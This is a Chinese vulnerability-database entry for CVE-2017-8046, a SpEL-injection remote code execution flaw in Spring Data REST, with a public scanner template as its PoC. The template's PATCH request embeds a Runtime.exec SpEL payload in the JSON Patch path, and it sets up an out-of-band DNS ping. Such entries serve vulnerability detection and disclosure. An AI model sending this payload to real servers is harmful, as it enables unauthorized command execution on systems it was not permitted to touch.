CVE-2017-8046: Spring Data Rest RCE

日期: 2025-09-01 | 影响软件: Spring Data Rest | POC: 已公开

漏洞描述

SpringDataREST是一个构建在SpringData之上,为了帮助开发者更加容易地开发REST风格的Web服务。在RESTAPI的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。

PoC代码[已公开]

id: CVE-2017-8046

info:
  name: Spring Data Rest RCE
  author: sm
  severity: critical
  verified: true
  description: |
    SpringDataREST是一个构建在SpringData之上,为了帮助开发者更加容易地开发REST风格的Web服务。在RESTAPI的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。
  reference:
    - https://tanzu.vmware.com/security/cve-2017-8046
    - https://mp.weixin.qq.com/s/q2CNe9sscjlBXVaVUMCGNA
  tags: cve,cve2017,spring,rce
  created: 2024/02/04

set:
  oob: oob()
  oobDNS: oob.DNS
  spel: decimal("ping " + oobDNS,",")
rules:
  r0:
    request:
      method: PATCH
      path: /customers/1
      headers:
        Content-Type: application/json-patch+json
      body: |
        [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{108,115}))/lastname", "value": "ry" }]
    expression: response.status == 400 && response.body.bcontains(b'cause') && response.body.bcontains(b'message')
expression: r0()

相关漏洞推荐